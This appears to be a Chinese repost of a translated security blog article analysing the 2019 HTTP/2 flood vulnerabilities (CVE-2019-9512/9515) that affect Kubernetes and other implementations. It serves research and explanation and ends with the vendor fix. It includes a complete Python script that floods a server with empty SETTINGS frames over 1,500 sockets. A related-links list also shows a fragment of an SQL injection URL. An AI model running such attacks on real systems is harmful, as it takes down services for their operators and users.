Java技术栈

www.javastack.cn

优秀的Java技术公众号

在这个数据、应用横行的时代,漏洞的出现早已屡见不鲜。在尚未造成大面积危害之前,我们该如何做好防御措施?或许从过往经常发生漏洞的事件中我们能够得到一些启发。

近日,Netflix、Google 及 CERT/CC 披露了 HTTP/2 相关的 8 个安全漏洞,就连用来打造 Kubernetes 的 Go 语言也受到其中两个漏洞的波及,导致 Kubernetes 所有版本都受到相关漏洞影响,可能造成服务阻断。不过好在现在漏洞已修复,而我们在这个过程中又可以学习到什么?


以下为译文:
几周前,Netflix公开了许多第三方HTTP/2实现中都存在的资源耗尽漏洞——由Jonathan Looney发现。该漏洞会直接影响Kubernetes中的HTTP/2端点(由net/http、x/net/http2等GoLang库实现),还会影响到nginx等其他项目。甚至还有人为这个漏洞画了个标志。
虽然人们对DoS的漏洞见怪不怪了,但我没有太多有关HTTP/2的经验,特别是在传输层,所以我决定利用这次机会深入了解HTTP/2的规范及其工作原理。

1、背景

为了理解HTTP/2实现中的各种弱点,你需要深刻地理解HTTP/1.1和HTTP/2之间的基本差异。
更多详细信息,我推荐你阅读Google的HTTP/2简介(https://developers.google.com/web/fundamentals/performance/http2/),在文本中,我只介绍几个关键点。
HTTP/2引入了一个与HTTP/1.1的数据传输有显著差异的功能:通过单个TCP连接多路复用多个数据交换。该功能为HTTP/2带来了显著的性能优势,但它本身需要一些额外的流控制逻辑。简而言之,在HTTP/2中,单个TCP连接可以携带多个流,这些流由包含帧序列的多个消息组成。
从上图中可以看出,HTTP/2与标准的HTTP的请求-响应语法非常接近,只不过这些请求和响应封装在了包含相关帧(HEADERS和DATA)的HTTP/2消息流中。这个规范中有许多其他帧类型,主要与流控制相关,熟悉HTTP/1.1模型的人可能并不了解这些类型:
  • PRIORITY

  • RST_STREAM

  • SETTINGS

  • PUSH_PROMISE

  • PING

  • GOAWAY

  • WINDOW_UPDATE

  • CONTINUATION

2、漏洞

下面让我们来看一看CVE-2019-9512和CVE-2019-9515,二者分别会利用PING和空SETTINGS帧发送大量消息到HTTP/2的监听进程。
最初的公告表明,恶意客户端会将这些帧发送到服务器上,迫使服务器生成响应,但客户端不会读取响应,它们会持续发送大量消息,最终可能耗尽服务器的CPU和内存。
请注意,普通的客户端通常不会持续发送PING帧数据流,这只是为了比较正常的客户端数据交换与恶意客户端的攻击行为而举的例子。

3、概念验证

由于没有找到公开的概念验证程序,所以我决定编写一个,然后找一个未修复的本地目标进行测试。H2O似乎是一个不错的选择,所以我选择了他们易受攻击的docker镜像版本,并发送了如下curl测试请求:
如上所示,curl请求的响应头部确认该服务器支持HTTP/2。现在我找到了一个易受攻击的目标,接下来开始编写入侵代码——这里我们只关心SETTINGS帧的洪水攻击:
攻击者发送一系列SETTINGS帧。由于RFC要求服务器针对每个SETTINGS帧回复一个确认,因此空SETTINGS帧几乎等同于ping的行为。根据该数据的队列效率,这些请求可能会过度消耗CPU或内存(或两者兼有),最终导致服务器拒绝访问。
这种攻击看起来很简单:我们只需要重复发送空SETTINGS帧,直到目标服务降级为止。看似就这么简单:我们只需要通过发送HTTP/2的引导帧来启动连接。下面是Wireshark截获的连接引导帧:
接下来,我们只需要一个空SETTINGS帧的结构:
在收集到所需的二进制消息帧的示例之后,我们就可以编写攻击循环了(仅用于研究目的)。

import socket
import sys
import time
class SettingsFlood:
    SETTINGS_FRAME = b'\x00\x00\x00\x04\x00\x00\x00\x00\x00'
    PREAMBLE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n\x00\x00*\x04\x00\x00\x00' \
               b'\x00\x00\x00\x01\x00\x00\x10\x00\x00\x02\x00\x00\x00\x01' \
               b'\x00\x04\x00\x00\xff\xff\x00\x05\x00\x00@\x00\x00\x08\x00' \
               b'\x00\x00\x00\x00\x03\x00\x00\x00d\x00\x06\x00\x01\x00\x00'
    def __init__(self, ip, port=80, socket_count=200):
        self._ip = ip
        self._port = port
        self._sockets = [self.create_socket() for _ in range(socket_count)]
    def create_socket(self):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(4)
            s.connect((self._ip, self._port))
            s.send(self.PREAMBLE)
            return s
        except socket.error as se:
            print("Error: "+str(se))
            time.sleep(0.5)
            return self.create_socket()
    def attack(self, timeout=sys.maxsize, sleep=1):
        t, i = time.time(), 0
        while time.time() - t < timeout:
            for s in self._sockets:
                try:
                    s.send(self.SETTINGS_FRAME)
                except socket.error:
                    self._sockets.remove(s)
                    self._sockets.append(self.create_socket())
                time.sleep(sleep/len(self._sockets))
if __name__ == "__main__":
    dos = SettingsFlood("127.0.0.1", 8080, socket_count=1500)
    dos.attack(timeout=60*10*10)

在针对测试容器运行上述脚本并发送另一个curl请求后,很明显攻击开始按照计划展开了——请求在等待服务器响应时挂起:

4、修复

大多数受影响的服务商都针对这些问题发布了补丁,他们采用了与H2O和GoLang类似的方法:限制发送队列中控制帧的数量。

作者:Randy Westergren

原文:https://randywestergren.com/a-closer-look-at-recent-http-2-vulnerabilities-affecting-k8s-and-other-implementations/

译者:弯月,责编:屠敏,CSDN 出品

- END -
推荐阅读:

1、

2、

3、

4、

5、

关注Java技术栈公众号在后台回复:Java,可获取一份栈长整理的最新Java 技术干货。

点击「阅读原文」和栈长学更多~

HTTP/2 最新漏洞,直指 Kubernetes!的更多相关文章

  1. BBSXP最新漏洞 简单注入检測 万能password

    BBSXP最新漏洞 漏洞日期:2005年7月1日受害版本号:眼下全部BBSXP漏洞利用:查前台password注入语句:blog.asp?id=1%20union%20select%201,1,use ...

  2. Ewebeditor最新漏洞及漏洞大全

    Ewebeditor最新漏洞及漏洞大全[收集] 来源:转载作者:佚名时间:2009-06-03 00:04:26 下面文章收集转载于网络:) 算是比較全面的ewebeditor编辑器的漏洞收集,如今的 ...

  3. Ewebeditor最新漏洞和漏洞指数

    Ewebeditor最新漏洞和漏洞指数[收集] 来源:转载作者:佚名时间:2009-06-03 00:04:26 下面文章收集转载于网络:) 算是比較全面的ewebeditor编辑器的漏洞收集,如今的 ...

  4. 关于centos7和centos6中平滑升级nginx到新版本v1.12.1修复nginx最新漏洞CVE-2017-7529的解决方案

    关于centos7和centos6中平滑升级nginx到新版本v1.12.1修复CVE-2017-7529漏洞的解决方案 漏洞描述 2017年7月11日,Nginx官方发布最新的安全公告,在Nginx ...

  5. Apache Struts最新漏洞 远程代码执行漏洞预警 2018年11月08日

    2018年11月8日,SINE安全监控检测中心,检测到Apache Struts官方更新了一个Struts漏洞补丁,这个漏洞是Apache Struts目前最新的漏洞,影响范围较广,低于Apache ...

  6. dedecms5.7最新漏洞修复

    最近发现织梦cms被挂马现象频繁,解决好好几个网站的问题,但是过不了多久,就又被攻击了,即使更改系统及ftp密码,也没有起到防御的作用,最后怀疑cms本身漏洞,于是采用工具扫描了一下,才发现问题的严重 ...

  7. 最新漏洞:Spring Framework远程代码执行漏洞

    Spring Framework远程代码执行漏洞 发布时间 2022-03-31 漏洞等级 High CVE编号 CVE-2022-22965 影响范围:同时满足以下三个条件可确定受此漏洞影响: JD ...

  8. struts2 最新漏洞 S2-016、S2-017修补方案

    昨天struts2爆了一个好大的漏洞,用道哥的话来说就是:“今天下午整个中国的黑客圈像疯了一样开始利用这个漏洞黑网站,大家可以感受一下.” 看下乌云这两天的数据: 相关报道: 灾难日:中国互联网惨遭S ...

  9. Java 7爆最新漏洞,10年前的攻击手法仍有效

    英文原文:New Reflection API affected by a known 10+ years old attack 据 SECLISTS 透露,他们发现新的 Reflection API ...

随机推荐

  1. 【初中部 NOIP提高组 二试】模拟赛B总结

    今天的比赛大翻车了,惨败. 第一题是一道模拟找规律题,由于一些计算错误,没有认真对拍,本来送的100分有40分飞走了~~ 第二题是在一个结论基础上的dp加单调队列,比赛上没有搞出那个结论,打了个n^3 ...

  2. springboot maven打包插件

    <build> <plugins> <!-- springboot maven打包--> <plugin> <groupId>org.spr ...

  3. MySQL报错:Cause: java.sql.SQLException: Incorrect string value: '\xE6\x9D\xA8","...' for column 'obj_value' at row 1

    1.插入MySQL表时,报错:Cause: java.sql.SQLException: Incorrect string value: '\xE6\x9D\xA8","...' ...

  4. CSP-S2019游记&拆塔记

    不是拆广州塔 Day -inf 四套NOI模拟降智 Day0 拆了一发新新 本来想复习小圆脸结果拆了3h最后还没带任意门 没有帘子可还行 第一天由于没发现被子可以抽出来就没睡好 Day1 8:30开考 ...

  5. 手动安装jar包到maven仓库

    1.手动安装jar包到maven仓库 本地没有下载安装maven,但是eclipse已经集成的maven. 选中任何一个maven项目,右键/Run as/maven build... 在Goals输 ...

  6. python Tkinter 组件

    Tkinter的提供各种控件,如按钮,标签和文本框,一个GUI应用程序中使用.这些控件通常被称为控件或者部件. 目前有15种Tkinter的部件.我们提出这些部件以及一个简短的介绍,在下面的表: 控件 ...

  7. wordcloud:让你的词语像云朵一样美

    介绍   对文本中出现频率较高的关键词给予视觉化的显示 使用 python import jieba import codecs import wordcloud file = r"C:\U ...

  8. BZOJ 2716 [Violet 3]天使玩偶 (CDQ分治、树状数组)

    题目链接: https://www.lydsy.com/JudgeOnline/problem.php?id=2716 怎么KD树跑得都那么快啊..我写的CDQ分治被暴虐 做四遍CDQ分治,每次求一个 ...

  9. java8 for循环了改为 流

    刚开始用java8的时候,很多都是替代for循环,因为java8推出了强大的流stream,关于流的用法很多,百度一下就可以搜到语法之类,所以这里我只想举一些简单替代for的例子,含义那些就自己去查吧 ...

  10. ORA-01034、ORA-27101、ORA-00119错误

    ORA-01034ORA-27101Linux-x86_64 Error: 2:No such file or directory. 或者是 ORA-00119: invalid specificat ...